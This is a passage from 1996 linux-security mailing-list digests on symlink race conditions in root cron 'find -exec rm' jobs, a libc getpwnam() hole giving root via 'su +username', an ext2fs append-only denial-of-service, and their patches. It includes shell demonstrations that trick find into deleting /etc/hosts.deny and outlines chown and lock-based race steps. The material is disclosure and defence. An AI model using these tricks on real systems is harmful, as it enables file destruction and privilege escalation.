the above security problems correctly, handles pathnames more than 1024 characters, uses smarter last-access estimates than just atime or ctime, can support "permanent" subdirectories, handles files, symlinks, directories, devices, mount points correctly, can support minimum age of files (e.g. no files < 1 day old), deletes oldest files first, deletes files only when disk space is low, and responds in less than ten seconds to low disk space conditions. Our garbage collector works on any directory where files can gracefully disappear at arbitrary times, such as /var/catman, /tmp, /var/tmp, TeX font directories, and our HTTP proxy cache. One directory where the garbage collector doesn't work very well is /var/spool/news; we had to hack things up a bit to fix the article databases when article files disappear. - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Mark Whitis Date: Fri, 24 May 1996 12:56:05 -0400 (EDT) Subject: Re: [linux-security] Things NOT to put in root's crontab On Tue, 21 May 1996, Zygo Blaxell wrote: > >From Redhat's /etc/crontab file: > ># Remove /var/tmp files not accessed in 10 days > >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > > There is another aspect of this that I find scary, the use of the "*" wildcard where there is absolutely no need (assuming you dont have a symbolic link - if you do, use "/var/tmp/." instead of "/var/tmp/*"). Due to the order in which the shell processes things, it is not as dangerous as I thought at first but consider the implications of: [637]% mkdir /tmp/junk [638]% cd /tmp/junk [639]% dir total 4 lrwxrwxrwx 1 root other 4 May 23 17:07 +foo -> /etc/ - -rw-r--r-- 1 root other 0 May 23 16:58 -follow - -rw-r--r-- 1 root other 0 May 23 17:09 -name - -rw-r--r-- 1 root other 0 May 23 17:10 hosts.deny [640]% echo * +foo -follow -name hosts.deny [641]% find * -print +foo/hosts.deny [641]% find * -exec rm {} \; Now it turns out that it will not do the same thing if the path name preceeds the wildcard, fortunately. But if the entry had read: 43 02 * * * root cd /var/tmp; find * -atime +3 -exec rm -f {} \; 2> /dev/null then you wouldn't need race conditions to exploit symbolic links. > Folks, do NOT use 'find' on a public directory with '-exec rm -f' as root > Period. Ever. Delete it from your crontab *now* and finish reading the > rest of this message later. I am convinced of the danger of this. I would also be very careful about uses of chmod and chown commands, which don't even need race conditions to be exploited on many systems: For example: user# ln -s /etc/hosts.allow /home/user/foo/bar/baz later: root# chown -R user /home/user > The next easiest way to fix this is to replace 'rm' with a program that > does not follow symlinks. It must check that each filename component in > turn by doing an lstat() of the directory, chdir() into the directory, > and further lstat()s to check that the device/inode number of '.' is > the same as the directory's device/inode number before chdir(). The > parameter of the 'unlink' or 'rmdir' system call must not contain a > slash; if it does, then the directory name before the slash can be > replaced by a symlink to a different directory between verification of > path components and the actual unlink() call. > Another way to fix this is with a smarter version of find. A smart > find does the chdir() and lstat() checks to make sure that it never > Note that the 'smart' find without the post-chdir symlink tests won't > work. While smart-find is processing: [...] > and eventually smart-find will 'cd ..', but since the current directory > of find has moved, '..' will move as well, and eventually smart-find > will be one level too high and can start descending into other > subdirectories of '/'. To help this along you may need to create: It is a bad idea for a program traversing a directory tree to ever issue "cd .." (or more accurately chdir("..")) as part of that traversal. Instead, use the fchdir() system call. - open() the current directory and store the descriptor in an array with an index corresponding to the level of nesting if it is not already stored (or instead of an array, you can use automatic variables in a self-recursive function). - fstat() the current direcory - open the next level directory, store value in the array - fchdir() to this directory - stat() the parent directory, compare with previous fstat() to see if you have crossed a symbolic link - do whatever you actually wanted to do here, including recursively descending directories. Check files with lstat() to see if they are symbolic links before processing. open() file and compare inode numbers from fstat() and lstat(). Use the open file descriptor to process the file if at all possible. Note there is still a race condition here if you are doing operations on files by name and not by file descriptor. - fchdir() to the previously stored parent directory - close() the child directory file descriptor - close() the parent file descriptor, if appropriate If the directory is deep enough, you might fun out of file descriptors. unfortunately, unix systems lack a flstat() and funlink() calls (these would be to lstat() and unlink() as fchdir() is informationto chdir() Note that mandantory locks on systems which support them could probably be used to exploit some of these race conditions deterministicly without actually needing to create thousands or millions of files if you can lock directories: create /tmp/a/etc/file mandantory lock /tmp/a/etc wait for access time on /tmp/a to change wait for 60 seconds more, to give victom program time to continue replace /tmp/a with symbolic l release lock I do not think the security precautions I give here or the ones in Zygo's message eliminate race conditions for most system calls other than unlink() (which does not follow symbolic links - it deletes the link). Race conditions will exist unless the operating system allows you to do all necessary operations, including chmod(), chmod(), etc, on file descriptors or with link proof versions of the commands instead of path names and you make use of that capability and you do an lstat() before and an fstat() after an open and compare the results. consider, the following sequence of system calls, between two programs. -- victim -- -- attacker-- chdir("/tmp/foo"); chdir("/tmp/foo"); any checks on current directory lstat("bar"); unlink("bar"); symlink("/etc/hosts.deny","bar"); unlink("bar"); This is okay for the unlink() because it will delete the symbolic link instead of the parent. But what about a chmod() or chown() call instead of unlink? "chown -R" or "chmod -R" commands as root may be subject to race conditions, not matter what precautions you take, unless they use file descriptor or link suppressing forms of these commands. It simply doesn't matter how carefully you verify the path if the last component can be changed in many situations. Here is a comparison of some related calls between various OSes: Linux* AIX 3.2 Sunos 4.1.3 Solaris 2.5 chown() Y Y Y Y fchown() Y Y Y Y lchown() N N N Y chmod() Y Y Y Y fchmod() Y Y Y Y lchmod() N N N N stat() Y Y Y Y lstat() Y Y Y Y fstat() Y Y Y Y fstatx() N Y N N flstat() N N N N access() Y Y Y Y faccess() N Y N N faccessx() N Y N N Personally, I think you should be able to issue any system call on a file or directory using a file descriptor; in fact, I would make that the primary interface - old fashioned calls using a pathname could even be emulated (either in the kernel or in libc) based on the file descriptor calls combined with an open(). Linux man pages were from the WWW site http://www.ssc.com/linux/man.html which does not specify a version number. fstatx() allows you to obtain information on symbolic links given a file descriptor. accessx() allows you to check whether a different user has access. When squashing symbolic links, you should have the option to follow symbolic links if either of the following conditions is true: - the link and its destination share the same owner - the link is owned by root. This is necessary for situations such as: ~whitis = /home/whitis /home/whitis --> /disk0/home/whitis (owner root) ~whitis/public_html/index.html which exist at most large sites. - -- Mark Whitis ; 804-962-4268 428-B Moseley Drive; Charlottesville, VA 22903 ------------------------------ End of linux-security-digest V2 #22 *********************************** linux-security-digest/v02.n023100664 1767 1767 33776 6155235402 15457 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #23 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 5 June 1996 Volume 02 : Number 023 [linux-security] Serious Security hole in getpwnam () More find -exec rm dangers was: Re: BoS: Re: [linux-security] Things NOT to put in root's crontab [linux-security] ext2fs file attributes -- denial-of-service attack Re: More find -exec rm dangers was: Re: BoS: Re: [linux-security] Re: [linux-security] ext2fs file attributes -- denial-of-service attack [linux-security] S/Key and Shadow Passwords Re: [linux-security] S/Key and Shadow Passwords ---------------------------------------------------------------------- From: Jeff Uphoff Date: Tue, 28 May 1996 11:02:41 -0400 Subject: [linux-security] Serious Security hole in getpwnam () - -----BEGIN PGP SIGNED MESSAGE----- This is a *very* serious hole that affects Linux-based NIS client systems. A more formal alert will be posted once a fixed version of libc has been officially released. For those that don't want to (or can't) patch and recompile their own fixed version of libc, I recommend the *immediate* removal of all "stub" NIS username entries, of the forms described in the attached message, from /etc/passwd. - - --Up. [Please note that the PGP and forwarding encapsulations have modified the MIME headers and the diff/patch segment.] - - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Arno Schaefer Sender: [email protected] Organization: Fraunhofer CRCG, Inc. To: [email protected] Subject: Serious Security hole in getpwnam () Date: Fri, 24 May 1996 15:37:54 -0400 This is a multi-part message in MIME format. - - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, I just discovered a major security hole in the getpwnam() function in the current libc (5.3.12, probably present in all previous versions). It can be exploited if there is an entry in the form +username:::::: or -username:::::: or similar in /etc/passwd (an entry to admit or exclude a single user from the NIS passwd file). By typing 'su +username' or 'su -- -username' resp. you become root without being asked for a passwd. 'login' is not vulnerable, so only users with shell access to the machine can exploit the bug. I tried it on two different systems that used NIS, both running Slackware 3.0, libc 5.3.12 and 5.0.9, resp. It can only be used if an entry of the form described above is present, so many systems that do not use NIS or that have only a standard '+' entry are safe against this attack. This apparently has been know for a long time, since the source for 'login' reads: /* Dirty patch to fix a gigantic security hole when using yellow pages. This problem should be solved by the libraries, and not by programs, but this must be fixed urgently! If the first char of the username is '+', we avoid login success. Feb 95 */ if (username[0] == '+') { puts("Illegal username"); badlogin(username); sleepexit(1); } but probably due to bad communication it was not fixed in libc. A similar bug in the same function was fixed over a year ago ('su +' or 'su +@netgroup'), but strangely nobody thought about 'su +username'. I attach a patch that fixes the hole - it was taken against libc 5.3.12, but should be easily adaptable to other versions. I was already in contact with H.J. Lu and expect that the next version of libc will contain this patch. I think this info should be forwarded to the linux-alert mailing list. Regards, Arno -- Arno Schaefer - [email protected] Fraunhofer Center for Research in Computer Graphics, Providence RI -- Opinions expressed are my own and not those of Fraunhofer CRCG -- Never attribute to malice that which can be adequately explained by stupidity - - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="getpwnam.patch" Index: getpwnam.c =================================================================== RCS file: /home/work/cvs/linux/libc/pwd/getpwnam.c,v retrieving revision 1.5 diff -c -r1.5 getpwnam.c *** getpwnam.c 1996/05/22 15:49:37 1.5 - - - --- getpwnam.c 1996/05/23 06:59:32 *************** *** 53,58 **** - - - --- 53,63 ---- register FILE *stream; register struct passwd *p; + #ifdef YP + if (name[0] == '-' || name[0] == '+') + return NULL; + #endif + if (info == NULL) { info = __pwdalloc(); - - - --------------63DB9C7E36AD404B638D1437-- - - ------- end ------- [Mod: I have also verified the existence of this hole in libc-4.6.27 (a.out). --Jeff.] - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMasUZnoDqzGe1QXFAQHvzwQAp0qBxFtHl/+4RkxbvK3HETdpT6n/OOFA B15kmXdkgcbCtIF5slfgXbB244KMGf3sebNjtC/IBtNRfyDP7e/P+v4poeEEmcyu BJfc2UxoiE5yK9/L/PgAUgm9exYMVyNT8N9balb509q7eI5gWjhxK9vDb1P0MyI8 NFf2QC7D5mI= =exlk - -----END PGP SIGNATURE----- ------------------------------ From: John Pettitt Date: Fri, 24 May 1996 11:01:12 -0700 Subject: More find -exec rm dangers was: Re: BoS: Re: [linux-security] Things NOT to put in root's crontab At 12:56 PM 5/24/96 -0400, Mark Whitis wrote: >On Tue, 21 May 1996, Zygo Blaxell wrote: > >> >From Redhat's /etc/crontab file: >> ># Remove /var/tmp files not accessed in 10 days >> >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null >> > > > Find (at least the linux source I have) uses execvp to run commands, since execvp follows the PATH environement to find the target program, since *many* people still have a '.' in a root path (silly bu true) find can be fooled into running arbitary programs by leaving a program called 'rm' in the right place. At the very least the -exec should be /bin/rm John Pettitt, [email protected] EVP, CyberSource Corporation, 415 473 3065 PGP Key available at: http://www-swiss.ai.mit.edu/htbin/pks-extract-key.pl?op=get&search=0xB7AA3705 ------------------------------ From: Zefram Date: Thu, 30 May 1996 21:20:46 +0100 (BST) Subject: [linux-security] ext2fs file attributes -- denial-of-service attack All versions so far of the second extended file system (ext2fs) as implemented in the Linux kernel have the following security problem. Any user is permitted to set any file attribute other than `immutable' on files they own. In particular, an unprivileged user can set the `append-only' flag. To do this merely requires the ability to execute arbitrary code -- the flag is set by an ioctl(2) call. The usual way to set these flags is by use of the chattr(8) command. The effects of the append-only flag being set on a file are o No process, even with privileges, may open the file other than in append mode. The file cannot be truncated. o No process, even with privileges, may use link(2), unlink(2) or rename(2) on the file. The flag can be set on a directory in the same way, in which case o No process, even with privileges, may use rename(2) or rmdir(2) on the directory. o No process, even with privileges, may use rename(2), rmdir(2) or unlink(2) on any entry in the directory. The only differences between the effects of the append-only flag and the immutable flag are that an append-only file may be appended to (whereas an immutable file cannot be opened for writing at all), and an append-only directory may have new entries added to it (whereas an immutable directory can't be modified at all). Note that the immutable flag, because of its extensive effects, can only be set by a privileged process, but the append-only attribute, with most of the same effects, can be set by the owner of the file in question, even if unprivileged. Obviously there are denial-of-service attacks based on this. The most obvious attack is to create a very large file in /tmp and make it append-only -- any root-run program intended to clear /tmp will fail unless it knows to remove the flag. Even if it does know, there is a race condition, as the flag cannot be cleared simultaneously with deletion, but in this case much the same effect could be obtained by merely keeping the file open. Another possible use of this file attribute is to prevent a symbolic link being removed, making some symlink-based attacks that rely on race conditions work deterministically. This is only possible if the attacker owns the directory containing the symlink. In general, anywhere a privileged process assumes it can remove or rename a file owned by any user, that assumption is rendered incorrect if the user can access the file to set the flag. The only possible solution is to modify the semantics of the append-only attribute in the kernel. There are three likely approaches: (1) setting the append-only flag can be limited to privileged processes; (2) the linking-related effects of the flag can be removed, bringing it in line with the description in the chattr man page; (3) the effects of the flag could be made to have no effect on privileged processes. (3) opens some security holes itself, but should be borne in mind. I produced a patch implementing (2) some time ago, but it the relevant kernel developers say that (1) is the preferred approach. - -- Andrew Main ------------------------------ From: [email protected] (Igor Chudov @ home) Date: Thu, 30 May 1996 23:50:10 -0500 (CDT) Subject: Re: More find -exec rm dangers was: Re: BoS: Re: [linux-security] John Pettitt wrote: > >On Tue, 21 May 1996, Zygo Blaxell wrote: > >> >From Redhat's /etc/crontab file: > >> ># Remove /var/tmp files not accessed in 10 days > >> >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > > Find (at least the linux source I have) uses execvp to run commands, since > execvp follows the PATH environement to find the target program, since > *many* people still have a '.' in a root path (silly bu true) find can be > fooled into running arbitary programs by leaving a program called 'rm' in > the right place. > > At the very least the -exec should be /bin/rm FYI, find is called from cron daemon, which sets a predefined PATH for all programs that it executes. Therefore, your comment does not apply to cron jobs - Igor. ------------------------------ From: [email protected] (Remy Card) Date: Sun, 2 Jun 1996 15:05:10 +0200 (MET DST) Subject: Re: [linux-security] ext2fs file attributes -- denial-of-service attack About the append-only attribute: > The only possible solution is to modify the semantics of the > append-only attribute in the kernel. There are three likely > approaches: (1) setting the append-only flag can be limited to > privileged processes; (2) the linking-related effects of the flag can > be removed, bringing it in line with the description in the chattr man > page; (3) the effects of the flag could be made to have no effect on > privileged processes. (3) opens some security holes itself, but should > be borne in mind. I produced a patch implementing (2) some time ago, > but it the relevant kernel developers say that (1) is the preferred > approach. Well, (1) is really the way to go, I think, and that is how it is implemented in 4.4BSD (Ok, I did not look carefully enough when implementing the append-only and immutable attributes and I did make a mistake). Here is the patch to implement (1): - --- linux/fs/ext2/ioctl.c.orig Sun Jun 2 14:46:16 1996 +++ linux/fs/ext2/ioctl.c Sun Jun 2 14:59:39 1996 @@ -37,11 +37,12 @@ return err; flags = get_user((int *) arg); /* - - * The IMMUTABLE flag can only be changed by the super user - - * when the security level is zero. + * The IMMUTABLE and APPEND_ONLY flags can only be changed by + * the super user when the security level is zero. */ - - if ((flags & EXT2_IMMUTABLE_FL) ^ - - (inode->u.ext2_i.i_flags & EXT2_IMMUTABLE_FL)) { + if ((flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL)) ^ + (inode->u.ext2_i.i_flags & + (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL))) { /* This test looks nicer. Thanks to Pauline Middelink */ if (!fsuser() || securelevel > 0) return -EPERM; Linus, can you please integrate it before 2.0 is released? Thanks! > -- > Andrew Main Remy ------------------------------ From: Matthew Lessins Date: Thu, 30 May 1996 12:13:25 -0400 (EDT) Subject: [linux-security] S/Key and Shadow Passwords Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to make sure that it's been done and that I'm not wasting too much of my time. Thanks... Matt ============================================== Matt Lessins Wayne State University [email protected] / phone (313) 577-2176 ------------------------------ From: [email protected] (Matt 'Panzer Boy') Date: 2 Jun 1996 23:12:40 -0400 Subject: Re: [linux-security] S/Key and Shadow Passwords Matthew Lessins ([email protected]) wrote: : Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, : 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to : make sure that it's been done and that I'm not wasting too much of my : time. Thanks... ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey-950729.tar.gz It's based on an somewhat older version of the shadow suite, but it works. At some point (next "stable" release of the gpl'd shadow-suite) I will probably re-institute this into it (if it isn't fully integrated already). - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ End of linux-security-digest V2 #23 *********************************** linux-security-digest/v02.n024100664 1767 1767 53212 6157054051 15444 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #24 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 10 June 1996 Volume 02 : Number 024 [linux-security] Re: linux-security-digest V2 #23 [linux-security] standard users,groups,perms? [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? ---------------------------------------------------------------------- From: Peter Orbaek Date: Wed, 05 Jun 96 08:44:54 EDT Subject: [linux-security] Re: linux-security-digest V2 #23 > I just discovered a major security hole in the getpwnam() function > in the current libc (5.3.12, probably present in all previous > versions). It can be exploited if there is an entry in the form > +username:::::: > or > -username:::::: [...] This is not quite as bad as it sounds. A quick fix is to never use '+' by itself in /etc/passwd to include the entire NIS map, use /etc/host.conf for this instead. Also, I'm not sure the hole is there if you write just '+user' without all the colons. Still, libc should have been fixed a long time ago. - Peter. ([email protected]) ------------------------------ From: [email protected] (Jeffrey J. Radice) Date: Tue, 4 Jun 1996 14:39:23 -0500 (CDT) Subject: [linux-security] standard users,groups,perms? [Mod: Please direct replies to the post's author, unless the reply is specifically intended for a "general" audience. This subject has had a go-around here before, to some extent. Thanks! --Jeff.] I am interested in whether there is any de-facto standard for sysem-level users and groups, and for ownerships/permissions/setuid bits for files on a Linux system. The FSSTND group effectively dodges the issue (from the fsstnd FAQ): Q) Why doesn't the standard specify the system-level users/groups and proper ownerships/permissions/setuid bits for everything? A) We feel that this is, primarily, a local issue. Many sites have their own local user-id/group-id setup, and linux boxes will have to be integrated with those. What's more, there is very little gain from standardizing these across all linux machines, as it typically is not essential to allow binary distributions. It seems to me that this is a valid topic of discussion for the security list, so I am raising it here. It seems to me that there is something to be gained (understanding, security) by standardizing at least the system-level users and groups. I have rolled my own distribution of Linux, and I've been dodging this issue for quite some time. I'm getting ready to add shadow passwords, and user accounts, so I need to settle on some (at least site-specific) standard. I don't know where to start, however. I have been unable to find any document that cares to broach the issue. This seems to be ignored, or barely addressed in the books I've read about UNIX security. Is this something that is left up to makers of distributions? I have looked at how Slackware handles system users/groups/perms. I would like a better understanding of the security issues surrounding this. Is there any documentation for the Linux community on this issue? If not, would somebody kindly suggest to me a viable system that I could implement. I've compiled the following chart based on my own understandings. I'm not sure that there is a need for so many system users or groups (eg. why would I have certain files/directories owned by a specific non-root user and not root?) Could somebody critique this? Users: - ----- name uid home purpose ---- --- ---- ------- root 0 /root SuperUser. nobody 65534 -- NullUser. System (1-9) daemon 1 /tmp Run daemon (crond,lpd) processes. bin 2 / Own binaries (bin,sbin,etc) directories. sys 3 / Own systems (lib,include,kernel) dirs. adm 4 /var/adm Own administrative (/var/adm,...) dirs. uucp 5 -- Run modem operations. operator 6 -- Run operation (non-root) procs. ?? info 7 -- Own information (man,info,doc) dirs. Servers (10-100) www 10 /usr/local/www Run www procs. samba 20 /usr/local/samba Run samba procs. (Not Nobody!) Users (100-) Accounts for actual users. - ------ Groups: - ------- name no. members perms ---- --- ------- ----- wheel 0 'su'capable rx for Secured items, all purpose. nogroup 65534 nobody --- Group for nobody (no other use). System daemon 1 -- (root) rwx for spooling & file xfers. kmem 2 -- rx for memory/kernel reading progs. tty 4 -- rw for ttys (+x for access to ttys). Administrators (keep access to the tasks separate) Access to binaries/logs bin 3 Bin admin. rwx for admin. (sbin) binaries. operator 5 Etc admin. rwx for admin (etc) texts. adm 6 Log admin. r for system logs, rx for u/wtmp. Staff group staff 10 staff --- Primary GCOS group for staff. Access to texts/sources src 11 Src admin. rw for source dirs/files. info 12 Doc admin. rw for info (man,doc,info) dirs/files. www 13 Web admin. rw for www files. Access to devices lp 20 Printer. rwx for lpr. disk 21 Disks. rwx for disks (mounting,floppy...). dos 22 Dos partitions. rw for dos partitions (samba...). Purgatory other 30 -- r for Non-secure items, all purpose. Users user 1000 Default User Group Can somebody make sense of all this for me. It seems that I may have made things a bit too complex? Is there any benefit to simplifying and making most things simply root.wheel owned, or is there any benefit to splitting ownership into different levels of access? Is there anything I've left out? I also would like further information about standard permissions. All criticism/commentary is welcome. - -jjr Jeffrey J. Radice [email protected] Defensive Generalist http://oj.simpson.com Box 4343, Austin, TX 78765 512-432-4757 ------------------------------ From: Jordy Date: Sun, 2 Jun 1996 23:21:31 -1000 (HST) Subject: [linux-security] SSL I'm curious to know everyone's thoughts on the Secure Socket Layer implementations for Linux. At this time, they provide Authentication and integration with Keberos (if i read the SSLtelnet docs correctly) This seems like a plausable solution to secure intranets and for the rest of the internet community. One thing that seems to bother me is that in the telnet daemon, it won't ask for the login name if the client and daemon have authentication. I guess this is a "feature", it would be a lot nicer if it used the keys and the password with kerberos encryption. I think this would probably fix the problem of packet sniffing of the passwords while login. I really wish the US would get off its high horse and allow stranger encryption methods to be released outside of the US. Once and for all we could end this game we play with hackers at this level at least. Jordy ------------------------------ From: "Joseph S. D. Yao" Date: Wed, 5 Jun 1996 15:31:03 -0400 Subject: Re: [linux-security] standard users,groups,perms? > [Mod: Please direct replies to the post's author, unless the reply is > specifically intended for a "general" audience. This subject has had a > go-around here before, to some extent. Thanks! --Jeff.] I think that the following bears to be said again. Actually, I don't find any record of me saying it before in this forum - you've heard me say this in linux:slp and dc-sage, and perhaps in dc-linux. I think that it's still of general interest. > I'm not sure that there is a need for so many system users or groups > (eg. why would I have certain files/directories owned by a specific > non-root user and not root?) Could somebody critique this? I always insist that absolutely nothing at all whatsoever on the file system be owned by root. Nothing. At all. Unless there is no other way to do it (whatever the "it" might be). There should be a small set of accounts whose passwords are protected equally as well as root's, that are used for maintaining the various parts of the system. These would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, field, etc. Directories and files - ESPECIALLY setuid programs (and more of those should be setgid) - should be owned by one of these, and NOT by root. This would reduce immensely the number of times that it would be "necessary" to be root to perform some task or other; and thus the number of windows of opportunity for certain types of attack - and for simple mistakes. [ANECDOTE WITH A RELATED POINT, I THINK] Recently, at a site whose administrator is in our local SAGE chapter, someone's helper edited the /etc/password file and accidentally altered the super-user password. The /etc/password file was owned by root. It couldn't be fixed without resorting to booting a stand-alone system in a memory disk from the installation media. That took a while - and an appeal to the mailing list - to come up with. Needless. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 6 Jun 1996 10:29:22 +0100 (BST) Subject: Re: [linux-security] SSL > One thing that seems to bother me is that in the telnet daemon, it won't > ask for the login name if the client and daemon have authentication. I > guess this is a "feature", it would be a lot nicer if it used the keys > and the password with kerberos encryption. I think this would probably > fix the problem of packet sniffing of the passwords while login. ssh is a slightly different tool but has these features. US citizens can get it from finland but do need to read the documentation to disable certain items before their Government will allow them to use it (patent hooha as usual) Alan ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 6 Jun 1996 10:34:07 +0100 (BST) Subject: Re: [linux-security] standard users,groups,perms? > bin 2 / Own binaries (bin,sbin,etc) directories. Not if you have NFS. Also consider the fact root security is much more tightly guarded than bin. ------------------------------ From: [email protected] (Rogier Wolff) Date: Thu, 6 Jun 1996 09:55:09 +0200 (METDST) Subject: Re: [linux-security] standard users,groups,perms? > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. And in practise, the "root" account is better protected by such provisions as securetty (can root login on /dev/modem, /dev/pty0?) nfs root->nobody remapping, rhosts' special case for "root" (Not honouring /etc/hosts.equiv) etc etc. So I agree with you that for a set of unexperienced administrators, it would be nice to have each of them only capable of creating havock with only part of the system. Once you can get all applications(*) to treat uids < SOME_LIMIT the same as "root" I would start to agree with you. Roger. (*) And it will be hard to verify that we've modified indeed ALL applications..... - -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: Squawk Date: Thu, 6 Jun 1996 11:45:17 -0400 (EDT) Subject: Re: [linux-security] SSL On Sun, 2 Jun 1996, Jordy wrote: > > I'm curious to know everyone's thoughts on the Secure Socket Layer > implementations for Linux. At this time, they provide Authentication and > integration with Keberos (if i read the SSLtelnet docs correctly) This > seems like a plausable solution to secure intranets and for the rest of > the internet community. > > One thing that seems to bother me is that in the telnet daemon, it won't > ask for the login name if the client and daemon have authentication. I > guess this is a "feature", it would be a lot nicer if it used the keys > and the password with kerberos encryption. I think this would probably > fix the problem of packet sniffing of the passwords while login. I believe (though I could be wrong on this one) that kerberos has the same "feature" which means when connecting across a kerberos network you will never see a login. this makes it alot more convienient (alot like .rhosts entries but more secure) but its mainly because the less times you type a login/passwd the less times a sniffer can pick them up, even if its encrypted. - -Dan ------------------------------ From: Richard Black Date: Thu, 06 Jun 1996 14:05:53 +0100 Subject: Re: [linux-security] standard users,groups,perms? At this site we integrate a large number of linux boxes with a large number of other machines from very many other vendors. Our experience is that some of the user / group assumptions on linux are irritating, probably derived from the fact that many of the linux community appear to manage their machines locally where the user is the administrator and the machine is isolated. Witnes (for example) the very long time for which the password entries in /etc/passwd were not encrypted correctly for alpha_linux (a 64bit problem) and it wasnt noticed!! One of the irritating assumptions is that group "root" exists. There are too many packages whose "make install" contains "chown root.root ....". We dont have a root group, our /etc/group file is common across all our machines. Another is that roots home directory is not the root of the filesystem. This is the very first thing we have to fix on any linux installation - its complete brain damage. If you have automatic systems installing and updating remotely using rsh etc on many different systems some of which have different partitioning information and different partitions served r/o from different places etc, you must be in a position to be able to use rsh and rdist with root-relative paths. - -- - ----- Richard Black (usual disclaimers) University of Cambridge Computer Laboratory Cambridge United Kingdom ------------------------------ From: Maarten Ballintijn Date: Thu, 6 Jun 1996 14:02:33 +0200 (MET DST) Subject: Re: [linux-security] standard users,groups,perms? Hi, "Joseph S. D. Yao wrote:" > > I'm not sure that there is a need for so many system users or groups > > (eg. why would I have certain files/directories owned by a specific > > non-root user and not root?) Could somebody critique this? > > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. >From a security point of view I do not think this is a wise guideline. By introducing more accounts the number of weak links is increased, there is less support from the kernel to protect these accounts, an people are more careless ``because it is not the root account'' A small example, if /, /bin, /etc, /lib are not owned by root, then the uid owning these dirs (and there are many more) is equivalent with the root account. The cops package was based on this chaining principle already many years ago. > [ANECDOTE WITH A RELATED POINT, I THINK] > > Recently, at a site whose administrator is in our local SAGE chapter, > someone's helper edited the /etc/password file and accidentally altered > the super-user password. The /etc/password file was owned by root. It > couldn't be fixed without resorting to booting a stand-alone system in > a memory disk from the installation media. That took a while - and an > appeal to the mailing list - to come up with. Needless. What is the point ? do not let someone's helpers cousin's neighbors edit your password file :-) Regards, Maarten Ballintijn. ------------------------------ From: "G.J.W. Hagenaars" Date: Thu, 6 Jun 1996 13:19:59 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? Apparently Rogier Wolff wrote: % % > There should be a small set % > of accounts whose passwords are protected equally as well as root's, % > that are used for maintaining the various parts of the system. % > This would reduce immensely the number of times that it % > would be "necessary" to be root to perform some task or other; and thus % > the number of windows of opportunity for certain types of attack - and % > for simple mistakes. % % And in practise, the "root" account is better protected ... than all those other accounts which are a LOT easier to crack (remember the autoreply bug?) % So I agree with you that for a set of unexperienced administrators, % it would be nice to have each of them only capable of creating havock % with only part of the system. So you install and maintain sudo. That way you give specific root privileges to certain programs, to be invoked by certain users only. As an added benefit, it gives you logging too. Oh, simply getting a shell in someone else's name doesn't work with sudo; you still need the user's password to do something usefull. Cheers, G.J.W. Hagenaars, M.Sc. Math ----> Remembering Mike Carty 1968-1994 [email protected] -------------------> Software Installer CANARIE Inc. [email protected] ---------------------> UNIX System Administrator NUVO [email protected] -------> I'm Dutch, what's your excuse? ------------------------------ From: [email protected] (Przemek Klosowski) Date: Thu, 6 Jun 1996 15:45:06 -0400 Subject: Re: [linux-security] standard users,groups,perms? Richard wrote: At this site we integrate a large number of linux boxes with a large number of other machines from very many other vendors. Our experience is that some of the user / group assumptions on linux are irritating, probably derived 